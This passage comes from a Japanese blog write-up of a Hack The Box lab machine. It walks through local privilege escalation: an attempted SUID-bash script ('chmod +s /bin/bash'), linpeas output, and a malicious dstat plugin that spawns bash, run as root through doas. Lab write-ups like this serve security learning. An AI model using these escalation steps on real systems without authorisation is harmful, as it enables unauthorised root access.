     -u user     Execute the command as user.  The default is root.  Please note: On some systems multiple usernames can resolve to one UID. For exam‐
                 ple, root and toor both resolve to UID 0 on FreeBSD. Please see the "as" syntax section of the doas.conf manual page for details on how
                 doas handles this situation.

     --          Any dashes after a combined double dash (--) will be interpreted as part of the command to be run or its parameters. Not an argument
                 passed to doas itself.

EXIT STATUS
     The doas utility exits 0 on success, and >0 if an error occurs.  It may fail for one of the following reasons:

     •   The config file /usr/local/etc/doas.conf could not be parsed.
     •   The user attempted to run a command which is not permitted.
     •   The password was incorrect.
     •   The specified command was not found or is not executable.

SEE ALSO
     su(1), doas.conf(5)

HISTORY
     The doas command first appeared in OpenBSD 5.8.

AUTHORS
     Ted Unangst <tedu@openbsd.org>

BSD                                                                   June 11, 2016                                                                  BSD
 Manual page doas(1) line 1/52 (END) (press h for help or q to quit)

ほう、rootで実行できそうですね。このdoasを介してrootでペイロードを実行できそうかな?
以下のシェルスクリプトを作成してみて実行してみる。

shell.sh
chmod +s /bin/bash
player@soccer:/usr/local/bin$ doas -u root /tmp/shell.sh
doas: Operation not permitted

あかん、うまくいかん。許されなかった...
doasで実行してたコマンドがcpとかだったので「/bin」系の配下にないと出来なさそうな感覚がある。
「/bin」系でWrite権限ある階層を探してみる。
以下のlinpeasの出力結果を確認する。

...省略

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
/dev/mqueue                                                                                                                                                 
/dev/shm
/home/player
/run/lock
/run/screen
/run/user/1001
/run/user/1001/dbus-1
/run/user/1001/dbus-1/services
/run/user/1001/gnupg
/run/user/1001/inaccessible
/run/user/1001/systemd
/run/user/1001/systemd/transient
/run/user/1001/systemd/units
/snap/core20/1695/run/lock
/snap/core20/1695/tmp
/snap/core20/1695/var/tmp
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
#)You_can_write_even_more_files_inside_last_directory

/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init
/var/www/html/tiny/uploads

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
  Group player:                                                                                                                                             
/usr/local/share/dstat                                                                                                                                      
/tmp/linpeas.sh
/tmp/LinEnum.sh

...省略

「/bin」系ではないが、ここで気になる出力を発見する。
/usr/local/share/dstatが書き込み可能ということだ。dstatといえばLinuxのリソース監視で使われているものである。
この階層に何かペイロードを書き込んでdstatコマンド経由で特権昇格できるかも...

dstat

とりあえずdstatで何ができるか調べてみる。

player@soccer:/usr/local/share/dstat$ dstat -h
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)

Dstat options:
  -c, --cpu                enable cpu stats
     -C 0,3,total             include cpu0, cpu3 and total
  -d, --disk               enable disk stats
     -D total,hda             include hda and total
  -g, --page               enable page stats
  -i, --int                enable interrupt stats
     -I 5,eth2                include int5 and interrupt used by eth2
  -l, --load               enable load stats
  -m, --mem                enable memory stats
  -n, --net                enable network stats
     -N eth1,total            include eth1 and total
  -p, --proc               enable process stats
  -r, --io                 enable io stats (I/O requests completed)
  -s, --swap               enable swap stats
     -S swap1,total           include swap1 and total
  -t, --time               enable time/date output
  -T, --epoch              enable time counter (seconds since epoch)
  -y, --sys                enable system stats

  --aio                    enable aio stats
  --fs, --filesystem       enable fs stats
  --ipc                    enable ipc stats
  --lock                   enable lock stats
  --raw                    enable raw stats
  --socket                 enable socket stats
  --tcp                    enable tcp stats
  --udp                    enable udp stats
  --unix                   enable unix stats
  --vm                     enable vm stats
  --vm-adv                 enable advanced vm stats
  --zones                  enable zoneinfo stats

  --list                   list all available plugins
  --<plugin-name>          enable external plugin by name (see --list)

  -a, --all                equals -cdngy (default)
  -f, --full               automatically expand -C, -D, -I, -N and -S lists
  -v, --vmstat             equals -pmgdsc -D total

  --bits                   force bits for values expressed in bytes
  --float                  force float values on screen
  --integer                force integer values on screen

  --bw, --black-on-white   change colors for white background terminal
  --color                  force colors
  --nocolor                disable colors
  --noheaders              disable repetitive headers
  --noupdate               disable intermediate updates
  --output file            write CSV output to file
  --profile                show profiling statistics when exiting dstat

delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)

何かこちらで指定できそうなのは-C, -D, -I, -N, -S, --<plugin-name>, --output fileのオプションくらい。
この中で気になったのは--<plugin-name>である。--listで中身を確認してみる。

player@soccer:/usr/local/share/dstat$ dstat --list
internal:
        aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,
        raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
        battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,
        dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
        md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,
        mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,
        nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,
        snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,
        top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
        wifi,zfs-arc,zfs-l2arc,zfs-zil

ほう、「/usr/share/dstat」にPluginの情報がありそうなので見てみた。
image.png
Pythonファイルで「dstat_<plugin_name>.py」の形式で記載されてそうである。
このPythonファイルにペイロードを叩き込めばいいのではないか?

Payload作成

では「/usr/local/share/dstat」配下にPythonペイロードファイルを作成してみる。

dstat_payload.py
import subprocess

subprocess.run(['bash'])

上記Pythonファイルをdstatのプラグインとして読み込み、doas経由で実行してみる。

player@soccer:/usr/local/share/dstat$ doas -u root dstat --payload

image.png
上手くいかんかった。フルパスでやってみようか。

player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --payload

image.png
よっしゃ!!いった!!!!特権昇格完了!

まとめ

image.png
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはUser権限までの道のりが長く、Websocket周りが難しかったかなと思います。
※Websocketわっかんねぇ...

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?